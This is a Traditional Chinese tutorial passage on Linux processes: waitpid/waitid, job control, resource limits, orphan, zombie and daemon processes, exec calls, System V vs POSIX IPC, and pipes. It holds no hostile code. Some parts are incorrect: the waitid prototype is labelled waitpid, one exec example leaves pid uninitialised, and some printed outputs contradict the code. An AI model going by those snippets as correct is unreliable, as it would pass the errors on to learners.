上述呼叫在成功時返回終止子程序的程序ID,在失敗時返回-1。waitpid()系統呼叫掛起當前程序的執行,並無限期地等待,直到指定的子程序(根據pid值)終止。來自子程序的終止狀態可在status中獲得。
pid的值可以是以下之一 -
< -1 - 等待任何程序組ID等於pid的絕對值的子程序。
-1 - 等待任何子程序,這等於wait()系統呼叫。
0 - 等待任何程序組ID等於呼叫程序的程序組ID的子程序。
>0 - 等待任何程序ID等於pid值的子程序。
預設情況下,waitpid()系統呼叫僅等待已終止的子程序,但可以使用options引數修改此預設行為。
現在讓我們考慮一個程式作為示例,等待具有其程序ID的特定程序。
/* 檔名:waitpid_test.c */
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
編譯和執行後,輸出如下。
In child process: process id is 32528 In parent process: created process number: 32528 In child process: process id is 32529 In parent process: created process number: 32528 In parent process: created process number: 32529 In child process: process id is 32530 In parent process: created process number: 32528 In parent process: created process number: 32529 In parent process: created process number: 32530 process 32530 exited normally exit status from child is 4
現在,讓我們檢查waitid()系統呼叫。此係統呼叫等待子程序更改狀態。
#include <sys/wait.h> int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
上述系統呼叫等待子程序更改狀態,並且此呼叫掛起當前/呼叫程序,直到其任何子程序更改其狀態。引數‘infop’用於記錄子程序的當前狀態。如果程序已經更改了其狀態,則此呼叫會立即返回。
idtype的值可以是以下之一 -
P_PID - 等待任何程序ID等於id的子程序。
P_PGID - 等待任何程序組ID等於id的子程序。
P_ALL - 等待任何子程序,並且忽略id。
options引數用於指定哪些狀態更改,並且可以使用按位OR運算與以下提到的標誌一起形成 -
WCONTINUED - 返回任何已停止並已繼續的子程序的狀態。
WEXITED - 等待程序退出。
WNOHANG - 立即返回。
WSTOPPED - 等待已停止的任何子程序的程序,在收到訊號後返回狀態。
如果此呼叫由於其子程序之一的狀態更改而返回並且使用了WNOHANG,則返回0。如果發生錯誤,則返回-1並設定相應的錯誤號。
/* 檔名:waitid_test.c */
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
執行並編譯上述程式後,結果如下。
In child process: process id is 35390 In parent process: created process number: 35390 In child process: process id is 35391 In parent process: created process number: 35390 In parent process: created process number: 35391 In child process: process id is 35392 In parent process: created process number: 35390 In parent process: created process number: 35391 In parent process: created process number: 35392 Info received from waitid is: PID of child: 35392, real user id of child: 4581875
程序組、會話和作業控制
在本章中,我們將熟悉程序組、會話和作業控制。
程序組 - 程序組是一個或多個程序的集合。程序組由一個或多個共享相同程序組識別符號(PGID)的程序組成。程序組ID(PGID)與程序ID具有相同的型別(pid_t)。程序組有一個程序組組長,它是建立該組的程序,其程序ID成為該組的程序組ID。
會話 - 它是各種程序組的集合。
作業控制 - 這允許shell使用者同時執行多個命令(或作業),一個在前臺,其餘所有在後臺。也可以將作業從前臺移動到後臺,反之亦然。
讓我們藉助使用shell(BASH)的示例程式來理解這一點。
執行基本命令(date、echo、sleep和cal)的shell指令碼(在BASH中),名為basic_commands.sh
執行基本命令(ps、echo)的shell指令碼(在BASH中)
#!/bin/bash #basic_commands.sh date echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth" sleep 250 cal
#!/bin/bash #process_status.sh ps echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth" sleep 200 ps
使用chmod命令授予檔案執行許可權。預設情況下,普通檔案只會獲得讀寫許可權,而不會獲得執行許可權。
要停止當前正在執行的程序,您需要輸入CTRL+Z。這會為您提供一個作業號。作業可以在前臺或後臺恢復。如果需要,要在前臺恢復作業,請使用‘fg’命令。如果需要,要將作業恢復到後臺,請使用‘bg’命令。透過使用此命令,它只會執行最後一個停止的程序。如果我們想啟動除最後一個停止的程序之外的其他程序怎麼辦?只需在fg或bg之後使用作業號(例如bg %2或bg %3等)。如果正在執行的作業在後臺,則可以在前臺執行任何其他任務。要獲取作業列表,請使用命令jobs。也可以使用CTRL+C或kill命令終止程序。在使用kill命令時,可以傳遞作業號。
檢查以下輸出,它演示了停止作業、將作業從前臺移動到後臺以及反之亦然、終止作業等。
chmod u+x basic_commands.sh chmod u+x process_status.sh ./basic_commands.sh Wed Jul 5 18:30:27 IST 2017 Now sleeping for 250 seconds, so that testing job control functionality is smooth ^Z [1]+ Stopped ./basic_commands.sh ./process_status.sh PID TTY TIME CMD 2295 pts/1 00:00:00 bash 4222 pts/1 00:00:00 basic_commands. 4224 pts/1 00:00:00 sleep 4225 pts/1 00:00:00 process_status. 4226 pts/1 00:00:00 ps Now sleeping for 200 seconds, so that testing job control functionality is smooth ^Z [2]+ Stopped ./process_status.sh jobs [1]- Stopped ./basic_commands.sh [2]+ Stopped ./process_status.sh fg ./process_status.sh ^Z [2]+ Stopped ./process_status.sh fg %2 ./process_status.sh ^Z [2]+ Stopped ./process_status.sh fg %1 ./basic_commands.sh ^Z [1]+ Stopped ./basic_commands.sh jobs [1]+ Stopped ./basic_commands.sh [2]- Stopped ./process_status.sh bg %2 [2]- ./process_status.sh & fg ./basic_commands.sh ^Z [1]+ Stopped ./basic_commands.sh jobs [1]+ Stopped ./basic_commands.sh [2]- Running ./process_status.sh & fg %2 ./process_status.sh ^Z [2]+ Stopped ./process_status.sh jobs [1]- Stopped ./basic_commands.sh [2]+ Stopped ./process_status.sh kill %1 %2 [1]- Stopped ./basic_commands.sh [2]+ Stopped ./process_status.sh [1]- Terminated ./basic_commands.sh [2]+ Terminated ./process_status.sh
程序資源
程序需要某些資源(例如CPU和記憶體)來執行任務。現在我們將研究相關的命令和系統呼叫,以瞭解有關資源利用率和監控的資訊。此外,每個程序在資源上預設具有一定的限制,如果需要,可以增強這些限制以適應應用程式的要求。
以下是使用命令獲取基本系統或程序資源資訊 -
top命令
$ top
top命令持續顯示系統資源的使用情況。如果任何程序使系統處於某種掛起狀態(消耗過多的CPU或記憶體),則可以記下程序資訊並採取適當的操作(例如殺死相關程序)。
ps命令
$ ps
ps命令提供有關所有正在執行的程序的資訊。這有助於監控和控制程序。
vmstat命令
$ vmstat
vmstat命令報告虛擬記憶體子系統的統計資訊。它報告程序(等待執行、休眠、可執行程序等)、記憶體(虛擬記憶體資訊,如空閒、已用等)、交換區、IO裝置、系統資訊(中斷次數、上下文切換)和CPU(使用者、系統和空閒時間)的資訊。
lsof命令
$ lsof
lsof命令列印所有當前正在執行的程序(包括系統程序)的開啟檔案的列表。
getconf命令
$ getconf –a
getconf命令顯示系統配置變數資訊。
現在,讓我們看看相關的系統呼叫。
系統呼叫getrusage(),它提供有關係統資源使用情況的資訊。
與訪問和設定資源限制相關的系統呼叫,即getrlimit()、setrlimit()、prlimit()。
系統資源使用呼叫
#include <sys/time.h> #include <sys/resource.h> int getrusage(int who, struct rusage *usage);
系統呼叫getrusage()返回有關係統資源使用情況的資訊。這可能包括有關自身、子程序或使用標誌RUSAGE_SELF、RUSAGE_CHILDREN、RUSAGE_THREAD的呼叫執行緒的資訊,用於“who”變數。呼叫後,它在結構rusage中返回資訊。
此呼叫在成功時返回“0”,在失敗時返回“-1”。
讓我們看看以下示例程式。
/* 檔名:sysinfo_getrusage.c */
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
編譯和執行步驟
Details of getrusage: User CPU time (seconds) is 0 User CPU time (micro seconds) is 0 Maximum size of resident set (kb) is 364 Soft page faults (I/O not required) is 137 Hard page faults (I/O not required) is 0 Block input operations via file system is 0 Block output operations via file system is 0 Voluntary context switches are 0 Involuntary context switches are 1
現在讓我們看看與訪問和設定資源限制相關的系統呼叫。
#include <sys/time.h> #include <sys/resource.h> int getrlimit(int resource, struct rlimit *rlim); int setrlimit(int resource, const struct rlimit *rlim); int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
系統呼叫getrlimit()透過輸入所需資源(例如RLIMIT_NOFILE、RLIMIT_NPROC、RLIMIT_STACK等)在結構rlimit中獲取資源限制。
系統呼叫setrlimit()設定在rlimit結構中提到的資源限制,只要在限制範圍內。
系統呼叫prlimit()用於各種目的,例如檢索當前資源限制或將資源限制更新為新值。
結構rlimit包含兩個值 -
軟限制 - 當前限制
硬限制 - 可以擴充套件到的最大限制。
RLIMIT_NOFILE - 返回此程序可以開啟的檔案描述符的最大數量。例如,如果它返回1024,則該程序的檔案描述符從0到1023。
RLIMIT_NPROC - 可以為該程序的使用者建立的程序的最大數量。
RLIMIT_STACK - 該程序的堆疊段的最大大小(以位元組為單位)。
所有這些呼叫在成功時返回“0”,在失敗時返回“-1”。
讓我們考慮以下示例,其中我們使用getrlimit()系統呼叫。
/* 檔名: sysinfo_getrlimit.c */
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
編譯和執行步驟
Details of resource limits for NOFILE, NPROC, STACK are as follows: Soft Limit is 516 Hard Limit (ceiling) is 516 Soft Limit is 256 Hard Limit (ceiling) is 256 Soft Limit is 33554432 Hard Limit (ceiling) is 33554432
讓我們考慮另一個使用 getrlimit() 系統呼叫的例子,但這次使用 prlimit() 系統呼叫。
/* 檔名: sysinfo_prlimit.c */
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
編譯和執行步驟
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: Soft Limit is 516 Hard Limit (ceiling) is 516 Soft Limit is 256 Hard Limit (ceiling) is 256 Soft Limit is 33554432 Hard Limit (ceiling) is 33554432
其他程序
到目前為止,我們已經討論了程序、程序的建立、父程序和子程序等。如果不討論其他相關的程序,例如孤兒程序、殭屍程序和守護程序,那麼討論將是不完整的。
孤兒程序
顧名思義,孤兒意味著沒有父程序的程序。當我們執行一個程式或應用程式時,應用程式的父程序是 shell。當我們使用 fork() 建立一個程序時,新建立的程序是子程序,建立子程序的程序是父程序。反過來,它的父程序是 shell。當然,所有程序的父程序都是 init 程序(程序 ID → 1)。
以上是一個常見的情況,但是,如果父程序在子程序之前退出會發生什麼?結果是,子程序現在變成了孤兒程序。那麼它的父程序呢?它的新父程序是所有程序的父程序,也就是 init 程序(程序 ID – 1)。
讓我們嘗試使用以下示例來理解這一點。
/* 檔名: orphan_process.c */
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
編譯和執行步驟
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
殭屍程序
簡單來說,假設您有兩個程序,即父程序和子程序。父程序有責任等待子程序,然後從程序表中清理子程序的條目。如果父程序還沒有準備好等待子程序,而子程序在此期間完成了其工作並退出會怎樣?現在,子程序將成為殭屍程序。當然,在父程序準備好後,殭屍程序會被清理掉。
讓我們藉助一個例子來理解這一點。
/* 檔名: zombie_process.c */
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
編譯和執行步驟
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
守護程序
簡單來說,沒有關聯的 shell 或終端的程序稱為守護程序。為什麼需要它?這些程序在後臺執行,以預定義的間隔執行操作,並響應某些事件。守護程序不應該有任何使用者互動,因為它作為後臺程序執行。
內部 Linux 守護程序通常以字母“d”結尾,例如核心守護程序(ksoftirqd、kblockd、kswapd 等)、列印守護程序(cupsd、lpd 等)、檔案服務守護程序(smbd、nmbd 等)、管理資料庫守護程序(ypbind、ypserv 等)、電子郵件守護程序(sendmail、popd、smtpd 等)、遠端登入和命令執行守護程序(sshd、in.telnetd 等)、引導和配置守護程序(dhcpd、udevd 等)、init 程序(init)、cron 守護程序、atd 守護程序等。
現在讓我們看看如何建立一個守護程序。以下是步驟 -
步驟 1 - 建立一個子程序。現在我們有兩個程序 - 父程序和子程序
通常程序層次結構為 SHELL → 父程序 → 子程序
步驟 2 - 透過退出終止父程序。子程序現在成為孤兒程序,並由 init 程序接管。
現在,層次結構為 INIT 程序 → 子程序
步驟 3 - 呼叫 setsid() 系統呼叫建立一個新會話,如果呼叫程序不是程序組組長。現在呼叫程序成為新會話的組長。此程序將是此新程序組和此新會話中的唯一程序。
步驟 4 - 將程序組 ID 和會話 ID 設定為呼叫程序的 PID。
步驟 5 - 關閉程序的預設檔案描述符(標準輸入、標準輸出和標準錯誤),因為終端和 shell 現在與應用程式斷開連線。
/* 檔名: daemon_test.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523 Parent: Exiting 4581875 193525 0 0 09:23 ? 00:00:00 main 4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main 4581875 193528 193526 0 09:23 ? 00:00:00 grep main 4581875 193525 0 0 09:23 ? 00:00:00 main 4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main 4581875 193531 193529 0 09:23 ? 00:00:00 grep main
覆蓋程序映像
假設我們正在執行一個程式,並且我們希望從當前程式執行另一個程式。這可能嗎?為什麼不行,如果我們實現程序映像覆蓋的概念。這很好,但是當前正在執行的程式呢,它還能執行嗎?這怎麼可能,因為我們用新程式覆蓋了當前程式。如果我想執行這兩個程式而不丟失當前正在執行的程式,該怎麼辦?可能嗎?是的,這可能。
建立一個子程序,以便我們擁有一個父程序和一個新建立的子程序。我們已經在父程序中運行了當前程式,因此在新建立的子程序中執行它。這樣,我們就可以從當前程式執行另一個程式。不僅可以執行單個程式,還可以透過建立多個子程序從當前程式執行任意數量的程式。
讓我們考慮以下程式作為示例。
/* 檔名: helloworld.c */
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/* 檔名: execl_test.c */
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
上面的程式將覆蓋 execl_test 的程序映像為 helloworld。這就是為什麼 execl_test 的程序映像程式碼 (printf()) 沒有執行的原因。
編譯和執行步驟
Hello World
現在,我們將從一個程式執行以下兩個程式,即 execl_run_two_prgms.c。
Hello World 程式 (helloworld.c)
列印 1 到 10 的 while 迴圈程式 (while_loop.c)
/* 檔名: while_loop.c */
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
以下程式用於執行兩個程式(一個程式來自子程序,另一個程式來自父程序)。
/* 檔名: execl_run_two_prgms.c */
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
注意 - 放置 sleep() 呼叫以確保子程序和父程序按順序執行(不要重疊結果)。
編譯和執行步驟
Child process: Running Hello World Program This wouldn't print Parent process: Running While loop Program Won't reach here
現在我們將從一個程式執行兩個程式,即 execl_run_two_prgms.c,與上面相同的程式,但使用命令列引數。因此,我們在子程序中執行兩個程式,即 helloworld.c,在父程序中執行程式 while_loop.c。如下所示 -
Hello World 程式 (helloworld.c)
根據命令列引數列印 1 到 num_times_str 的 while 迴圈程式 (while_loop.c)
此程式主要執行以下操作 -
建立一個子程序
子程序執行 helloworld.c 程式
父程序執行 while_loop.c 程式,並將命令列引數值作為引數傳遞給程式。如果未傳遞命令列引數,則預設為 10。否則,它將採用給定的引數值。引數值應為數字;如果以字母形式給出,則程式碼不會進行驗證。
/* 檔名: execl_run_two_prgms.c */
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
以下是 execl_run_two_prgms.c 程式的子程序呼叫的 helloworld.c 程式。
/* 檔名: helloworld.c */
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
以下是 execl_run_two_prgms.c 程式的父程序呼叫的 while_loop.c 程式。此程式的引數從執行它的程式(即 execl_run_two_prgms.c)傳遞。
/* 檔名: while_loop.c */
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
編譯和執行步驟
Taken loop maximum as 10 num_times_str is 10 Child process: Running Hello World Program Hello World Parent process: Running While loop Program Argv[1] is 10 1 2 3 4 5 6 7 8 9 10 Taken loop maximum as 15 num_times_str is 15 Child process: Running Hello World Program Hello World Parent process: Running While loop Program Argv[1] is 15 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
現在讓我們看看與覆蓋映像相關的庫函式。
#include<unistd.h> int execl(const char *path, const char *arg, ...);
此函式將用引數、路徑和 arg 中提到的新程序覆蓋當前正在執行的程序映像。如果需要將任何引數傳遞給新的程序映像,則將透過“arg”引數傳送,最後一個引數應為 NULL。
此函式僅在發生錯誤時才會返回值。程序覆蓋映像相關的呼叫如下所示 -
int execl(const char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg, ..., char * const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); int execvpe(const char *file, char *const argv[], char *const envp[]);
這些呼叫將解決傳遞命令列引數 (argv[])、環境變數 (envp[]) 和其他引數的問題。
相關係統呼叫 (System V)
下表列出了各種系統呼叫及其描述。
| 類別 | 系統呼叫 | 描述 |
|---|---|---|
| 通用 | open () | 此係統呼叫要麼開啟一個已存在的檔案,要麼建立並開啟一個新檔案。 |
| 通用 | creat () | 建立並開啟一個新檔案。 |
| 通用 | read () | 將檔案內容讀取到所需的緩衝區中。 |
| 通用 | write () | 將緩衝區內容寫入檔案。 |
| 通用 | close () | 關閉檔案描述符。 |
| 通用 | stat () | 提供有關檔案的資訊。 |
| 管道 | pipe () | 建立用於通訊的管道,返回兩個用於讀寫檔案描述符。 |
| 命名管道或 FIFO | mknod () | 建立記憶體裝置檔案或特殊檔案以建立 FIFO |
| 命名管道或 FIFO | mkfifo () | 建立一個新的 FIFO |
| 共享記憶體 | shmget () | 建立一個新的共享記憶體段或獲取現有段的識別符號。 |
| 共享記憶體 | shmat () | 附加共享記憶體段,並將段作為呼叫程序虛擬記憶體的一部分。 |
| 共享記憶體 | shmdt () | 分離共享記憶體段。 |
| 共享記憶體 | shmctl () | 對共享記憶體執行控制操作。共享記憶體的一些通用控制操作是刪除共享記憶體段 (IPC_RMID)、接收共享記憶體的資訊 (IPC_STAT) 和更新現有共享記憶體的新值 (IPC_SET)。 |
| 訊息佇列 | msgget () | 建立一個新的訊息佇列或訪問一個已存在的訊息佇列,並獲取控制代碼或識別符號以執行與訊息佇列相關的操作,例如向佇列傳送訊息和從佇列接收訊息。 |
| 訊息佇列 | msgsnd () | 將訊息傳送到所需的訊息佇列,並帶有所需的標識號。 |
| 訊息佇列 | msgrcv () | 從訊息佇列接收訊息。預設情況下,這是一個無限等待操作,這意味著呼叫將被阻塞,直到它收到訊息。 |
| 訊息佇列 | msgctl () | 對訊息佇列執行控制操作。訊息佇列的一些通用控制操作是刪除訊息佇列 (IPC_RMID)、接收訊息佇列的資訊 (IPC_STAT) 和更新現有訊息佇列的新值 (IPC_SET)。 |
| 訊號量 | semget () | 建立一個新的訊號量或獲取現有訊號量的識別符號。訊號量用於在對同一物件進行操作的各種 IPC 之間執行同步。 |
| 訊號量 | semop () | 對訊號量值執行訊號量操作。基本訊號量操作是獲取或釋放訊號量上的鎖。 |
| 訊號量 | semctl () | 對訊號量執行控制操作。訊號量的一些通用控制操作是刪除訊號量 (IPC_RMID)、接收訊號量的資訊 (IPC_STAT) 和更新現有訊號量的新值 (IPC_SET)。 |
| 訊號 | signal () | 設定訊號(訊號編號)和訊號處理程式的處理方式。換句話說,註冊在引發該訊號時執行的例程。 |
| 訊號 | sigaction () | 與 signal() 相同,設定訊號的處理方式,即在收到註冊訊號後根據註冊訊號處理程式執行某些操作。此係統呼叫支援對 signal() 的更精細控制,例如阻塞某些訊號、在呼叫訊號處理程式後將訊號操作恢復為預設狀態、提供諸如使用者和系統消耗的時間、傳送程序的程序 ID 等資訊。 |
| 記憶體對映 | mmap () | 將檔案對映到記憶體中。一旦對映到記憶體中,訪問檔案就像使用地址訪問資料一樣簡單,並且以這種方式,呼叫不像系統呼叫那樣昂貴。 |
| 記憶體對映 | munmap () | 從記憶體中取消對映已對映的檔案。 |
System V & Posix
下表列出了 System V IPC 和 POSIX IPC 之間的區別。
| SYSTEM V | POSIX |
|---|---|
| AT & T 在 1983 年引入了三種新的 IPC 設施,即訊息佇列、共享記憶體和訊號量。 | IEEE 指定的可移植作業系統介面標準,用於定義應用程式程式設計介面 (API)。POSIX 涵蓋了所有三種形式的 IPC。 |
| SYSTEM V IPC 涵蓋所有 IPC 機制,例如管道、命名管道、訊息佇列、訊號、訊號量和共享記憶體。它還涵蓋套接字和 Unix 域套接字。 | 幾乎所有基本概念都與 System V 相同。它僅在介面方面有所不同。 |
| 共享記憶體介面呼叫 shmget()、shmat()、shmdt()、shmctl() | 共享記憶體介面呼叫 shm_open()、mmap()、shm_unlink() |
| 訊息佇列介面呼叫 msgget()、msgsnd()、msgrcv()、msgctl() | 訊息佇列介面呼叫 mq_open()、mq_send()、mq_receive()、mq_unlink() |
| 訊號量介面呼叫 semget()、semop()、semctl() | 訊號量介面呼叫 命名訊號量 sem_open()、sem_close()、sem_unlink()、sem_post()、sem_wait()、sem_trywait()、sem_timedwait()、sem_getvalue() 無名或基於記憶體的訊號量 sem_init()、sem_post()、sem_wait()、sem_getvalue()、sem_destroy() |
| 使用鍵和識別符號來識別 IPC 物件。 | 使用名稱和檔案描述符來識別 IPC 物件。 |
| 不適用 | 可以使用 select()、poll() 和 epoll API 監視 POSIX 訊息佇列。 |
| 提供 msgctl() 呼叫。 | 提供函式(mq_getattr() 和 mq_setattr())來訪問或設定屬性 11. IPC - System V & POSIX |
| 不適用 | 多執行緒安全。涵蓋執行緒同步函式,例如互斥鎖、條件變數、讀寫鎖等。 |
| 不適用 | 為訊息佇列提供了一些通知功能(例如 mq_notify())。 |
| 需要使用系統呼叫(例如 shmctl())、命令(ipcs、ipcrm)來執行狀態/控制操作。 | 可以使用系統呼叫(例如 fstat()、fchmod())檢查和操作共享記憶體物件。 |
| System V 共享記憶體段的大小在建立時(透過 shmget())固定。 | 我們可以使用 ftruncate() 調整底層物件的大小,然後使用 munmap() 和 mmap()(或 Linux 特定的 mremap())重新建立對映。 |
程序間通訊 - 管道
管道是兩個或多個相關或相互關聯的程序之間的一種通訊媒介。它可以存在於一個程序內,也可以是子程序和父程序之間的通訊。通訊也可以是多級的,例如父程序、子程序和孫程序之間的通訊等。通訊是透過一個程序寫入管道,另一個程序從管道讀取來實現的。要實現管道系統呼叫,需要建立兩個檔案,一個用於寫入檔案,另一個用於從檔案讀取。
管道機制可以透過一個真實的場景來理解,例如用管道往某個容器(比如水桶)裡灌水,然後有人(比如用杯子)取水。灌水的過程就是往管道里寫,取水的過程就是從管道里讀。這意味著一個輸出(水)是另一個的輸入(水桶)。
#include<unistd.h> int pipe(int pipedes[2]);
